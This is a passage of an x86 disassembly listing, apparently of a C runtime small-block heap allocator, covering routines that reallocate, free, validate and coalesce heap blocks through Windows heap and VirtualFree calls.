push ecx
mov edx, [ebp+arg_0]
push edx
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_24], eax
loc_423C88: ; CODE XREF: sub_423830+425j
cmp [ebp+var_24], 0
jnz short loc_423C97
cmp ds:dword_4F3374, 0
jnz short loc_423C9C
loc_423C97: ; CODE XREF: sub_423830+45Cj
mov eax, [ebp+var_24]
jmp short loc_423CB2
; ---------------------------------------------------------------------------
loc_423C9C: ; CODE XREF: sub_423830+465j
mov ecx, [ebp+arg_4]
push ecx
call sub_423170
add esp, 4
test eax, eax
jnz short loc_423CB0
xor eax, eax
jmp short loc_423CB2
; ---------------------------------------------------------------------------
loc_423CB0: ; CODE XREF: sub_423830+47Aj
jmp short loc_423C4A
; ---------------------------------------------------------------------------
loc_423CB2: ; CODE XREF: sub_423830+3Bj
; sub_423830+54j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423830
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CD0 proc near ; CODE XREF: sub_41CA80+26Ep
; sub_41CA80+3B2p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00423D56 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 00423DD8 SIZE 0000003E BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D090
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_423CFE
jmp loc_423E05
; ---------------------------------------------------------------------------
loc_423CFE: ; CODE XREF: sub_423CD0+27j
cmp ds:dword_4F39EC, 3
jnz short loc_423D74
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_4240F0
add esp, 4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_423D3D
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1C]
push edx
call sub_4241B0
add esp, 8
loc_423D3D: ; CODE XREF: sub_423CD0+5Bj
mov [ebp+var_4], 0FFFFFFFFh
call sub_423D4B
jmp short loc_423D56
sub_423CD0 endp
; =============== S U B R O U T I N E =======================================
sub_423D4B proc near ; CODE XREF: sub_423CD0+74p
; DATA XREF: _1:0043D098o
push 9
call sub_423320
add esp, 4
retn
sub_423D4B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423CD0
loc_423D56: ; CODE XREF: sub_423CD0+79j
cmp [ebp+var_1C], 0
jnz short loc_423D6F
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, ds:dword_4F39E8
push ecx
call ds:dword_4F5414 ; RtlFreeHeap
loc_423D6F: ; CODE XREF: sub_423CD0+8Aj
jmp loc_423E05
; ---------------------------------------------------------------------------
loc_423D74: ; CODE XREF: sub_423CD0+35j
cmp ds:dword_4F39EC, 2
jnz short loc_423DF2
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 1
lea edx, [ebp+var_20]
push edx
lea eax, [ebp+var_28]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_426110
add esp, 0Ch
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_423DBF
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+var_28]
push ecx
call sub_4261A0
add esp, 0Ch
loc_423DBF: ; CODE XREF: sub_423CD0+D9j
mov [ebp+var_4], 0FFFFFFFFh
call sub_423DCD
jmp short loc_423DD8
; END OF FUNCTION CHUNK FOR sub_423CD0
; =============== S U B R O U T I N E =======================================
sub_423DCD proc near ; CODE XREF: sub_423CD0+F6p
; DATA XREF: _1:0043D0A4o
push 9
call sub_423320
add esp, 4
retn
sub_423DCD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423CD0
loc_423DD8: ; CODE XREF: sub_423CD0+FBj
cmp [ebp+var_24], 0
jnz short loc_423DF0
mov edx, [ebp+arg_0]
push edx
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F5414 ; RtlFreeHeap
loc_423DF0: ; CODE XREF: sub_423CD0+10Cj
jmp short loc_423E05
; ---------------------------------------------------------------------------
loc_423DF2: ; CODE XREF: sub_423CD0+ABj
mov ecx, [ebp+arg_0]
push ecx
push 0
mov edx, ds:dword_4F39E8
push edx
call ds:dword_4F5414 ; RtlFreeHeap
loc_423E05: ; CODE XREF: sub_423CD0+29j
; sub_423CD0:loc_423D6Fj ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423CD0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423E20 proc near ; CODE XREF: sub_41D1D0+4Ap
; _0:00423F33p
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00423E8D SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00423ED2 SIZE 00000052 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D0A8
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_1C], 0FFFFFFFEh
cmp ds:dword_4F39EC, 3
jnz short loc_423E8F
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
call sub_4256F0
test eax, eax
jge short loc_423E74
mov [ebp+var_1C], 0FFFFFFFCh
loc_423E74: ; CODE XREF: sub_423E20+4Bj
mov [ebp+var_4], 0FFFFFFFFh
call sub_423E82
jmp short loc_423E8D
sub_423E20 endp
; =============== S U B R O U T I N E =======================================
sub_423E82 proc near ; CODE XREF: sub_423E20+5Bp
; DATA XREF: _1:0043D0B0o
push 9
call sub_423320
add esp, 4
retn
sub_423E82 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423E20
loc_423E8D: ; CODE XREF: sub_423E20+60j
jmp short loc_423ED2
; ---------------------------------------------------------------------------
loc_423E8F: ; CODE XREF: sub_423E20+31j
cmp ds:dword_4F39EC, 2
jnz short loc_423ED2
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 1
call sub_4269F0
test eax, eax
jge short loc_423EB9
mov [ebp+var_1C], 0FFFFFFFCh
loc_423EB9: ; CODE XREF: sub_423E20+90j
mov [ebp+var_4], 0FFFFFFFFh
call sub_423EC7
jmp short loc_423ED2
; END OF FUNCTION CHUNK FOR sub_423E20
; =============== S U B R O U T I N E =======================================
sub_423EC7 proc near ; CODE XREF: sub_423E20+A0p
; DATA XREF: _1:0043D0BCo
push 9
call sub_423320
add esp, 4
retn
sub_423EC7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423E20
loc_423ED2: ; CODE XREF: sub_423E20:loc_423E8Dj
; sub_423E20+76j ...
push 0
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F5474 ; HeapValidate
test eax, eax
jnz short loc_423F10
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_423F09
call sub_429AA0
mov dword ptr [eax], 78h
call sub_429A90
mov dword ptr [eax], 28h
jmp short loc_423F10
; ---------------------------------------------------------------------------
loc_423F09: ; CODE XREF: sub_423E20+CFj
mov [ebp+var_1C], 0FFFFFFFCh
loc_423F10: ; CODE XREF: sub_423E20+C4j
; sub_423E20+E7j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_423E20
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_423E20
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp ds:dword_4F39EC, 3
jnz short loc_423F53
mov eax, ds:dword_4F3A0C
jmp short loc_423F65
; ---------------------------------------------------------------------------
loc_423F53: ; CODE XREF: _0:00423F4Aj
cmp ds:dword_4F39EC, 2
jnz short loc_423F63
mov eax, ds:dword_453BDC
jmp short loc_423F65
; ---------------------------------------------------------------------------
loc_423F63: ; CODE XREF: _0:00423F5Aj
xor eax, eax
loc_423F65: ; CODE XREF: _0:00423F51j _0:00423F61j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F39EC, 3
jnz short loc_423F9F
cmp dword ptr [ebp+8], 3F8h
ja short loc_423F98
mov eax, [ebp+8]
mov ds:dword_4F3A0C, eax
mov eax, 1
jmp loc_424076
; ---------------------------------------------------------------------------
loc_423F98: ; CODE XREF: _0:00423F84j
xor eax, eax
jmp loc_424076
; ---------------------------------------------------------------------------
loc_423F9F: ; CODE XREF: _0:00423F7Bj
cmp ds:dword_4F39EC, 2
jnz short loc_423FD7
mov ecx, [ebp+8]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+8], ecx
cmp dword ptr [ebp+8], 780h
ja short loc_423FD0
mov edx, [ebp+8]
mov ds:dword_453BDC, edx
mov eax, 1
jmp loc_424076
; ---------------------------------------------------------------------------
loc_423FD0: ; CODE XREF: _0:00423FBBj
xor eax, eax
jmp loc_424076
; ---------------------------------------------------------------------------
loc_423FD7: ; CODE XREF: _0:00423FA6j
cmp ds:dword_4F39EC, 1
jnz loc_424074
cmp dword ptr [ebp+8], 0
jbe loc_424074
lea eax, [ebp-4]
push eax
call sub_426C30
add esp, 4
mov ecx, [ebp-4]
and ecx, 0FFh
cmp ecx, 6
jl short loc_42403C
cmp dword ptr [ebp+8], 3F8h
ja short loc_42403A
mov edx, [ebp+8]
push edx
call sub_424080
add esp, 4
test eax, eax
jz short loc_42403A
mov eax, [ebp+8]
mov ds:dword_4F3A0C, eax
mov ds:dword_4F39EC, 3
mov eax, 1
jmp short loc_424076
; ---------------------------------------------------------------------------
loc_42403A: ; CODE XREF: _0:0042400Fj _0:0042401Fj
jmp short loc_424074
; ---------------------------------------------------------------------------
loc_42403C: ; CODE XREF: _0:00424006j
mov ecx, [ebp+8]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+8], ecx
cmp dword ptr [ebp+8], 780h
ja short loc_424074
call sub_425D50
test eax, eax
jz short loc_424074
mov edx, [ebp+8]
mov ds:dword_453BDC, edx
mov ds:dword_4F39EC, 2
mov eax, 1
jmp short loc_424076
; ---------------------------------------------------------------------------
loc_424074: ; CODE XREF: _0:00423FDEj _0:00423FE8j ...
xor eax, eax
loc_424076: ; CODE XREF: _0:00423F93j _0:00423F9Aj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424080 proc near ; CODE XREF: _0:00424015p
; sub_426EC0+44p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 140h
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F5418 ; RtlAllocateHeap
mov ds:dword_4F3A08, eax
cmp ds:dword_4F3A08, 0
jnz short loc_4240A8
xor eax, eax
jmp short loc_4240E0
; ---------------------------------------------------------------------------
loc_4240A8: ; CODE XREF: sub_424080+22j
mov ecx, [ebp+arg_0]
mov ds:dword_4F3A0C, ecx
mov edx, ds:dword_4F3A08
mov ds:dword_4F39F8, edx
mov ds:dword_4F3A00, 0
mov ds:dword_4F3A04, 0
mov ds:dword_4F39F0, 10h
mov eax, 1
loc_4240E0: ; CODE XREF: sub_424080+26j
pop ebp
retn
sub_424080 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4240F0 proc near ; CODE XREF: sub_41D6B0+41p
; sub_423620+52p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, ds:dword_4F3A04
imul eax, 14h
mov ecx, ds:dword_4F3A08
add ecx, eax
mov [ebp+var_C], ecx
mov edx, ds:dword_4F3A08
mov [ebp+var_8], edx
loc_424112: ; CODE XREF: sub_4240F0+4Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_42413F
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
sub edx, [ecx+0Ch]
mov [ebp+var_4], edx
cmp [ebp+var_4], 100000h
jnb short loc_424134
mov eax, [ebp+var_8]
jmp short loc_424141
; ---------------------------------------------------------------------------
loc_424134: ; CODE XREF: sub_4240F0+3Dj
mov eax, [ebp+var_8]
add eax, 14h
mov [ebp+var_8], eax
jmp short loc_424112
; ---------------------------------------------------------------------------
loc_42413F: ; CODE XREF: sub_4240F0+28j
xor eax, eax
loc_424141: ; CODE XREF: sub_4240F0+42j
mov esp, ebp
pop ebp
retn
sub_4240F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424150 proc near ; CODE XREF: sub_41D6B0+5Dp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, 80000000h
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, eax
test edx, edx
jnz short loc_4241A1
mov eax, [ebp+var_8]
and eax, 0Fh
test eax, eax
jnz short loc_4241A1
mov ecx, [ebp+var_8]
and ecx, 0FFFh
test ecx, ecx
jz short loc_4241A1
mov [ebp+var_C], 1
jmp short loc_4241A8
; ---------------------------------------------------------------------------
loc_4241A1: ; CODE XREF: sub_424150+2Fj
; sub_424150+39j ...
mov [ebp+var_C], 0
loc_4241A8: ; CODE XREF: sub_424150+4Fj
mov eax, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_424150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4241B0 proc near ; CODE XREF: sub_423830+132p
; sub_423830+1B2p ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_3C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
sub eax, [edx+0Ch]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
shr ecx, 0Fh
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
imul edx, 204h
mov eax, [ebp+var_3C]
lea ecx, [eax+edx+144h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
sub edx, 4
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
sub ecx, 1
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
and edx, 1
test edx, edx
jz short loc_42420D
jmp loc_424788
; ---------------------------------------------------------------------------
loc_42420D: ; CODE XREF: sub_4241B0+56j
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov [ebp+var_38], eax
mov ecx, [ebp+var_38]
mov edx, [ecx]
mov [ebp+var_14], edx
mov eax, [ebp+var_1C]
mov ecx, [eax-4]
mov [ebp+var_C], ecx
mov edx, [ebp+var_14]
and edx, 1
test edx, edx
jnz loc_424357
mov eax, [ebp+var_14]
sar eax, 4
sub eax, 1
mov [ebp+var_24], eax
cmp [ebp+var_24], 3Fh
jbe short loc_42424E
mov [ebp+var_24], 3Fh
loc_42424E: ; CODE XREF: sub_4241B0+95j
mov ecx, [ebp+var_38]
mov edx, [ebp+var_38]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_424330
cmp [ebp+var_24], 20h
jnb short loc_4242C5
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_24]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_4242C3
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4242C3: ; CODE XREF: sub_4241B0+F9j
jmp short loc_424330
; ---------------------------------------------------------------------------
loc_4242C5: ; CODE XREF: sub_4241B0+B4j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_424330
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_424330: ; CODE XREF: sub_4241B0+AAj
; sub_4241B0:loc_4242C3j ...
mov ecx, [ebp+var_38]
mov edx, [ecx+8]
mov eax, [ebp+var_38]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_38]
mov eax, [edx+4]
mov ecx, [ebp+var_38]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_30]
add eax, [ebp+var_14]
mov [ebp+var_30], eax
loc_424357: ; CODE XREF: sub_4241B0+7Fj
mov ecx, [ebp+var_30]
sar ecx, 4
sub ecx, 1
mov [ebp+var_28], ecx
cmp [ebp+var_28], 3Fh
jbe short loc_424370
mov [ebp+var_28], 3Fh
loc_424370: ; CODE XREF: sub_4241B0+1B7j
mov edx, [ebp+var_C]
and edx, 1
test edx, edx
jnz loc_4244D4
mov eax, [ebp+var_1C]
sub eax, [ebp+var_C]
mov [ebp+var_34], eax
mov ecx, [ebp+var_C]
sar ecx, 4
sub ecx, 1
mov [ebp+var_2C], ecx
cmp [ebp+var_2C], 3Fh
jbe short loc_4243A0
mov [ebp+var_2C], 3Fh
loc_4243A0: ; CODE XREF: sub_4241B0+1E7j
mov edx, [ebp+var_30]
add edx, [ebp+var_C]
mov [ebp+var_30], edx
mov eax, [ebp+var_30]
sar eax, 4
sub eax, 1
mov [ebp+var_28], eax
cmp [ebp+var_28], 3Fh
jbe short loc_4243C2
mov [ebp+var_28], 3Fh
loc_4243C2: ; CODE XREF: sub_4241B0+209j
mov ecx, [ebp+var_2C]
cmp ecx, [ebp+var_28]
jz loc_4244CE
mov edx, [ebp+var_34]
mov eax, [ebp+var_34]
mov ecx, [edx+4]
cmp ecx, [eax+8]
jnz loc_4244B0
cmp [ebp+var_2C], 20h
jnb short loc_424445
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_2C]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_424443
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_424443: ; CODE XREF: sub_4241B0+279j
jmp short loc_4244B0
; ---------------------------------------------------------------------------
loc_424445: ; CODE XREF: sub_4241B0+234j
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_4244B0
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4244B0: ; CODE XREF: sub_4241B0+22Aj
; sub_4241B0:loc_424443j ...
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov eax, [ebp+var_34]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov [eax+8], edx
loc_4244CE: ; CODE XREF: sub_4241B0+218j
mov eax, [ebp+var_34]
mov [ebp+var_1C], eax
loc_4244D4: ; CODE XREF: sub_4241B0+1C8j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz short loc_4244EA
mov edx, [ebp+var_2C]
cmp edx, [ebp+var_28]
jz loc_4245FA
loc_4244EA: ; CODE XREF: sub_4241B0+32Cj
mov eax, [ebp+var_28]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov [eax+8], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
mov eax, [ebp+var_1C]
mov [edx+8], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_4245FA
cmp [ebp+var_28], 20h
jnb short loc_424593
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_424571
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_424571: ; CODE XREF: sub_4241B0+3A9j
mov eax, 80000000h
mov ecx, [ebp+var_28]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
jmp short loc_4245FA
; ---------------------------------------------------------------------------
loc_424593: ; CODE XREF: sub_4241B0+386j
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_4245D1
mov ecx, [ebp+var_28]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_4245D1: ; CODE XREF: sub_4241B0+404j
mov ecx, [ebp+var_28]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
loc_4245FA: ; CODE XREF: sub_4241B0+334j
; sub_4241B0+37Cj ...
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_30]
mov [ecx], edx
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov ecx, [ebp+var_30]
mov [eax-4], ecx
mov edx, [ebp+var_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jnz loc_424788
cmp ds:dword_4F3A00, 0
jz loc_424777
mov eax, ds:dword_4F39F4
shl eax, 0Fh
mov ecx, ds:dword_4F3A00
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp+var_18], edx
push 4000h
push 8000h
mov eax, [ebp+var_18]
push eax
call ds:dword_4F54B0 ; VirtualFree
mov edx, 80000000h
mov ecx, ds:dword_4F39F4
shr edx, cl
mov eax, ds:dword_4F3A00
mov ecx, [eax+8]
or ecx, edx
mov edx, ds:dword_4F3A00
mov [edx+8], ecx
mov eax, ds:dword_4F3A00
mov ecx, [eax+10h]
mov edx, ds:dword_4F39F4
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, ds:dword_4F3A00
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, ds:dword_4F3A00
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, ds:dword_4F3A00
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_4246D5
mov edx, ds:dword_4F3A00
mov eax, [edx+4]
and al, 0FEh
mov ecx, ds:dword_4F3A00
mov [ecx+4], eax
loc_4246D5: ; CODE XREF: sub_4241B0+50Fj
mov edx, ds:dword_4F3A00
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz loc_424777
push 8000h
push 0
mov eax, ds:dword_4F3A00
mov ecx, [eax+0Ch]
push ecx
call ds:dword_4F54B0 ; VirtualFree
mov edx, ds:dword_4F3A00
mov eax, [edx+10h]
push eax
push 0
mov ecx, ds:dword_4F39E8
push ecx
call ds:dword_4F5414 ; RtlFreeHeap
mov edx, ds:dword_4F3A04
imul edx, 14h
mov eax, ds:dword_4F3A08
add eax, edx
mov ecx, ds:dword_4F3A00
add ecx, 14h
sub eax, ecx
push eax
mov edx, ds:dword_4F3A00
add edx, 14h
push edx
mov eax, ds:dword_4F3A00
push eax
call sub_420840
add esp, 0Ch
mov ecx, ds:dword_4F3A04
sub ecx, 1
mov ds:dword_4F3A04, ecx
mov edx, [ebp+arg_0]
cmp edx, ds:dword_4F3A00
jbe short loc_42476B
mov eax, [ebp+arg_0]
sub eax, 14h
mov [ebp+arg_0], eax
loc_42476B: ; CODE XREF: sub_4241B0+5B0j
mov ecx, ds:dword_4F3A08
mov ds:dword_4F39F8, ecx
loc_424777: ; CODE XREF: sub_4241B0+47Ej
; sub_4241B0+52Fj
mov edx, [ebp+arg_0]
mov ds:dword_4F3A00, edx
mov eax, [ebp+var_4]
mov ds:dword_4F39F4, eax
loc_424788: ; CODE XREF: sub_4241B0+58j
; sub_4241B0+471j
mov esp, ebp
pop ebp
retn
sub_4241B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424790 proc near ; CODE XREF: sub_4234C0+4Cp
; sub_423830+D4p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 38h
push esi
mov eax, ds:dword_4F3A04
imul eax, 14h
mov ecx, ds:dword_4F3A08
add ecx, eax
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
add edx, 17h
and edx, 0FFFFFFF0h
mov [ebp+var_28], edx
mov eax, [ebp+var_28]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
